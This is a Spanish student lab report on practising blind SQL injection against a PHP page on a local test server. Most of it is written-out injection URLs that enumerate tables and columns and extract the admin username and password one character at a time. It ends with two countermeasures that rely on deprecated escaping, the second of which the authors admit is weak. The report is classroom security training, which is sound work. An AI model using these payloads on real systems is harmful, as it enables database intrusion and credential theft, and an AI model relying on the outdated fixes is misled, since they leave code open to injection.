Práctica SQL Injection
Práctica SQL Injection
Práctica SQL Injection
Alumnos: Javier Garca Cambronel y Eduardo Bayn Cascajo SEGUNO DE ASIR 24/11/2011
COMPROBANDO LA VULNERABILIDAD
EN BUSCA DE LA TABLA QUE CONTIENE LOS USUARIOS CUANTOS REGISTROS TIENE ESTA TABLA?
CONTRAMEDIDAS
CONTRAMEDIDA1 CONTRAMEDIDA2
SEGUNDO DE ASIR
Pgina 1
SEGUNDO DE ASIR
Pgina 2
SEGUNDO DE ASIR
Pgina 3
Una vez la tenemos configurada, le damos a guardar y veramos un resumen de las operaciones que se han llevado a cabo, o lo que es lo mismo, los comandos que tendramos que introducir si hubiramos optado por el modo texto y/o modo comando
Y por cada valor introducido nos sale un pequeo el resumen en modo comando de lo que se acaba de llevar a cabo.
SEGUNDO DE ASIR
Pgina 4
Indicamos la base de datos que queremos utilizar: use practica; Y a continuacin creamos la tabla con los campos nombre, password e id y sus caractersticas: Crate table `practica,usuarios ( nombre VARCHAR ( 50 ) NOT NULL , password VARCHAR ( 50 ) NOT NULL, id INT ( 10 ) NOT NULL AUTO_INCREMENT PRIMARY KEY ) ENGINE = MYISAM CHARACTER SET latin1 COLLATE latin1; Y rellenamos la tabla introduciendo los usuarios que queramos siguiendo este esquema: insert into `usuarios` values (1, 'root','adm'); insert into `usuarios` values (2, 'javier','123456'); insert into `usuarios` values (3, 'ivan','estrella'); insert into `usuarios` values (4, 'julian','1aB');
SEGUNDO DE ASIR
Pgina 5
SEGUNDO DE ASIR
Pgina 6
COMPROBANDO LA VULNERABILIDAD
Para saber si un servidor es vulnerable o no lo primero que debemos hacer Es aadirle a la consulta un AND 1=1, que es un valor verdadero. Si la aplicacin es vulnerable nos tendra que devolver el mismo resultado.
Ahora lo que podemos hacer es jugar con esto, la pregunta es Cmo? Ahora podemos hacer consultas al servidor acerca de la base de datos teniendo en cuenta que cuando las respuestas sean falsas nos saldr error y cuando sean verdaderas nos quedaremos en la misma pgina. Una cosa a tener en cuenta es que las preguntas que podemos hacerle al servidor solo pueden obtener una respuesta que sea VERDADERO O FALSO Una cosa importante es que el servidor contestara con error tanto si la consulta es falsa como si nosotros indicamos una consulta errnea asique hay que tener en cuenta la sintaxis de las consultas, para que estas sean correctas.
SEGUNDO DE ASIR
Pgina 7
[PRCTICA SQL INJECTION] 24 de noviembre de 2011 EN BUSCA DE LA TABLA QUE CONTIENE LOS USUARIOS
Nos hemos propuesto conocer el nombre de una tabla que es la que contiene todos los usuarios de esta base de datos probamos los posibles nombres que pueden tener las tablas que contienen los usuarios, es decir cules son las ms habituales y entonces probaramos con estas, con la primera tabla que probamos es con la tabla users http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php?id=1 AND (SELECT (COUNT(*)) FROM users);
SEGUNDO DE ASIR
Pgina 8
Y seguiremos acercndonos hasta que finalmente demos con el nmero correcto de registros, que se tendr que comprobar con una igualdad en este caso: http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND (SELECT Count(*) FROM usuarios) = 4;
SEGUNDO DE ASIR
Pgina 9
http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(usuario) FROM usuarios) http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(nombres) FROM usuarios) http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(nombre) FROM usuarios)
SEGUNDO DE ASIR
Pgina 10
http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(clave) FROM usuarios) http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(numero_secreto) FROM usuarios)
SEGUNDO DE ASIR
Pgina 11
SEGUNDO DE ASIR
Pgina 12
SEGUNDO DE ASIR
Pgina 13
Una vez hecho esto pensamos que edad tendrn mas o menos nuestros objetivos? partiendo de la base de que son estudiantes. He pensado que habrn nacido entre la decada de los 80 y/o los 90 yBueno, dicen que una imagen vale ms que mil palabras aqu la dejo abajo centrada en nuestra clase.
Entonces gracias a nuestra investigacin podemos probar con algo ms especfico y hacer una consulta con nombres completos o ir orientndonos viendo que la j es una letra que se repite mucho y ms factores que podemos darnos cuenta con esta tabla, como tambin sin mirar a ella y pensar que si la primera letra es una vocal, seguramente este seguida de una consonante
SEGUNDO DE ASIR
Pgina 14
COMPROBANDO SI ES MINSCULA http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT nombre FROM usuarios where id=1),1,1))= 114
Procederamos con las siguientes letras y veramos que el usuario tiene el nombre de root Marcado en rojo posicin y letra buscada. COMPROBANDO SEGUNDO CARACTER http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT nombre FROM usuarios where id=1),2,1))= 111 COMPROBANDO TERCER CARACTER http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT nombre FROM usuarios where id=1),3,1))= 111 COMPROBANDO CUARTO CARACTER http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT nombre FROM usuarios where id=1),4,1))= 116 Con esto, ya sabemos el nombre de usuario y la ID de la cuenta de Administrador que es: NOMBRE: ROOT ID: 1
SEGUNDO DE ASIR
Pgina 16
Seguimos probando hasta que damos con la cantidad exacta, en este caso cinco como podemos ver en la imagen de abajo: http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND (SELECT length(password) FROM usuarios where id=1) = 5
Tambin podramos pedir el password a partir del nombre de usuario en vez de utilizar el id.
Esto mismo nos vale tambin para conocer el contenido de otros campos. Por ejemplo, la longitud del nombre de usuario o cualquier otro campo que existiera en la tabla, solo tendramos que modificar la sentencia anterior e ir jugando como hemos hecho anteriormente con el id que quisiramos adivinar y tambin con su longitud hasta que diramos con la correcta el esquema sera una cosa as: AND (SELECT length(NOMBRE_DEL_CAMPO) FROM usuarios where id=NMEROID) > LNGITUD
SEGUNDO DE ASIR
Pgina 17
Contraseas ms usadas
Segn informa Wired, Bogdan Calin, de la web Acunetix, grab una lista de passwords antes de que desapareciera. En su anlisis de los 10.000 usuarios revela que la contrasea ms comn (aparece en la lista en 64 ocasiones) es realmente muy fcil de recordar: 123456. El ranking de contraseas ms utilizadas seria este, en el caso de que buscsemos usuarios:
123456, 123456789 alejandra 111111 alberto tequiero alejandro 12345678 1234567 estrella iloveyou
Nosotros buscamos la contrasea de Administrador asique vemos cuales son las ms utilizadas de este tipo en este otro artculo, hay mucha informacin en internet que podemos encontrar al respecto. SEGUNDO DE ASIR Pgina 18
SEGUNDO DE ASIR
Pgina 19
http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT password FROM usuarios where id=1),2,1))= 100 http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT password FROM usuarios where id=1),3,1))= 109 http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT password FROM usuarios where id=1),4,1))= 105 http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT password FROM usuarios where id=1),5,1))= 110
Ahora que tenemos la cuenta de usuario y la contrasea lo comprobamos completamente. http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1%20AND%20(SELECT%20count(*)%20FROM%20usuarios%20where%20nombre='root'%2 0AND%20password='admin');
SEGUNDO DE ASIR
Pgina 20
CONTRAMEDIDAS
CONTRAMEDIDA1
Una posible contramedida sera usar las funciones sprintf y mysql_real_escape_string. Si las aplicamos a nuestra consulta, quedara as: $sql = sprintf("SELECT * FROM usuarios WHERE id=\'%d\'",mysql_real_escape_string($_GET["id"])); De este modo con sprintf damos formato a nuestra sentencia asignando el espacio justo para los parmetros a recoger (%d para un nmero, %s para una cadena, etc) y con mysql_real_escape_string escapamos caracteres especiales y antepone backslashes a los siguientes caracteres: \x00, \n, \r, \, ', " y \x1a:
SEGUNDO DE ASIR
Pgina 21
CONTRAMEDIDA2
Menos efectiva que la primera solo filtra caracteres que no sean numricos pero con estos como hemos visto en este trabajo se pueden hacer muchsimas consultas. Modificamos con esto: $id = $_GET['id']; $id = strip_tags($id); $id = stripslashes($id); $sql = "SELECT * FROM usuarios WHERE id=". mysql_escape_string ($id);
SEGUNDO DE ASIR
Pgina 22